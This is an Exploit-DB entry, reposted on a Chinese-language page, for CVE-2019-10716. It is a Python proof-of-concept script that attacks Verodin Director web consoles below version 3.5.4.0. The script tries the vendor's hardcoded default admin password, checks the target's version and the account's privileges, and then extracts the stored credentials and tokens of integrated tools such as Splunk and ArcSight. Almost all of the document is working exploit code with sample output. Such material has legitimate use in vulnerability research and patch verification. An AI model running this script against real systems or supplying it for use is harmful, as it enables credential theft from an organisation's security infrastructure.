Verodin Director Web Console 3.5.4.0 – Remote Authenticated Password Disclosure (PoC)

  • 作者: nxkennedy
    日期: 2020-02-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48002/
  • #Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)
    #Discovery Date: 2019-01-31
    #Exploit Author: Nolan B. Kennedy (nxkennedy)
    #Vendor Homepage: https://www.verodin.com/
    #Software Link : https://www.verodin.com/demo-request/demo-request-form
    #Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1
    #Tested On: Windows
    #CVE: CVE-2019-10716
    #Vulnerability Type: Sensitive Data Disclosure
    ###
    # Description: Verodin Director's REST API allows authenticated users to query the configuration
    # details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail).
    # Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin). 
    #
    # API Request: GET https://<director-ip>/integrations.json
    #
    # Usage: python3 script.py
    #
    # Example Output:
    #
    # -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) --
    #	-- Author: Nolan B. Kennedy (nxkennedy) --
    #
    #
    # [+] Director Version
    # =====================
    # [*] Detected version 3.5.1.0 is VULNERABLE! :)
    #
    #
    # [+] Account Permissions
    # ========================
    # [*] "admin@verodin.com" is a member of "System Admin"
    #
    #
    # [+] Verodin Integrations
    # =========================
    # [*] Product: splunk
    # [*] Username: splunk_svc_acct
    # [*] Misc (may include credentials): [{'scheme': 'https', 'basic': False, 'password': 'Sup3rP@ssw0rd',
    # 'port': 8089, 'host': '10.0.0.6', 'username': 'splunk_svc_acct'},
    # {'proxy_hash': None}]
    #
    # [*] Product: arcsight
    # [*] Username: arcsight_admin
    # [*] Misc (may include credentials): ['10.0.0.7', 8443, 'https', 'arcsight_admin', 'Sup3rP@ssw0rd',
    # "/All Filters/Personal/integration_user's filters/Verodin Filter", 'Verodin Query Viewer', 60]
    #
    # [+] Done!
    ###
    
    import base64
    from distutils.version import LooseVersion
    import json
    import re
    import ssl
    from sys import exit
    from time import sleep
    import urllib.request
    
    
    
    
    verodin_ip = '0.0.0.0'
    # Default System Admin creds. Worth a try.
    username = 'admin@verodin.com'
    password = 'Ver0d!nP@$$'
    base_url = 'https://{}'.format(verodin_ip)
    fixed_version = '3.5.4.0'
    
    
    # We'll be making 3 different requests so we need a web handling function
    def requests(target, html=False):
    
    url = base_url + target
    context = ssl._create_unverified_context() # so we don't get an ssl cert error
    req= urllib.request.Request(url)
    credentials = ('{}:{}'.format(username, password))
    encoded_credentials = base64.b64encode(credentials.encode('ascii'))
    req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) # use %s instead of format because errors
    r = urllib.request.urlopen(req, context=context)
    content = r.read().decode('utf-8')
    if r.getcode() == 200:
    # we don't always get a 401 if auth fails
    if 'Cookies need to be enabled' in content: 
    print('[!] Failed to retrieve data: Credentials incorrect/invalid')
    print()
    print('[!] Exiting...')
    exit(1)
    elif html:
    blob = content
    else:
    blob = json.loads(content)
    return blob
    elif r.getcode() == 401:
    print('[!] Failed to retrieve data: Credentials incorrect/invalid')
    print()
    print('[!] Exiting...')
    exit(1)
    else:
    print('[!] ERROR: Status Code {}'.format(r.getcode()))
    exit(1)
    
    
    # Do we have permissions to retrieve the creds? 
    def getUserPerms():
    
    	target = '/users/user_prefs.json'
    	r = requests(target) # returns a single json dict
    	print('\n[+] Account Permissions')
    	print('========================')
    	group_id = r['user_group_id']
    	roles = {'Reporting': 4, 'Users': 3, 'Power Users': 2, 'System Admin': 1}
    	for role,value in roles.items():
    		if group_id == value:
    			print('[*] "{}" is a member of "{}"'.format(username, role))
    			print()
    			if group_id == 4:
    				print('[!] This account does not have sufficient privs. You need "Users" or higher.')
    				print()
    				print('[!] Exiting...')
    				exit(1)
    	sleep(0.5)
    	
    
    # We need to verify the target Director is running a vulnerable version
    def checkVuln():
    
    	target = '/settings/system'
    	r = requests(target, html=True)
    	field = re.search(r'Director\sVersion:.*', r)
    	version = field.group().split('<')[0].split(" ")[2]
    	print('\n[+] Director Version')
    	print('=====================')
    	if LooseVersion(version) < LooseVersion(fixed_version):
    		print('[*] Detected version {} is VULNERABLE! :)'.format(version))
    		print()
    	else:
    		print('[!] Detected version {} is not vulnerable. Must be < {}'.format(version, fixed_version))
    		print()
    		print('[!] Exiting...') 
    
    	sleep(0.5)
    	
    
    # Where we parse out any creds or other useful info 
    def getLoot():
    
    target = '/integrations.json'
    r = requests(target)# a list of json dicts
    print('\n[+] Verodin Integrations')
    print('=========================')
    if not r:
    print('[+] Dang! No integrations configured in this Director :(')
    print()
    else:
    for integration in r:
    product = integration['package_name'] # constant key
    misc = integration.get('new_client_args') # we use .get to return a None type if the key doesn't exist
    user = integration.get('username')
    passw = integration.get('password')
    token = integration.get('auth_token')
    print('[*] Product: {}'.format(product))
    if user:
    print('[*] Username: {}'.format(user))
    if passw:
    print('[*] Password: {}'.format(passw))
    if token and token is not 'null':
    print('[*] Auth Token: {}'.format(token))
    if misc:
    print('[*] Misc (may include credentials): {}'.format(misc))
    print()
    sleep(0.5)
    
    
    def main():
    
    	print('\n-- Verodin Director Web Console < v3.5.4.0 - Remote Authenticated Password Disclosure (PoC) --'.upper())
    	print('-- Author: Nolan B. Kennedy (nxkennedy) --')
    	print()
    	checkVuln()
    	getUserPerms()
    	getLoot()
    	print('[+] Done!')
    			
    		
    if __name__ == '__main__':
    	main()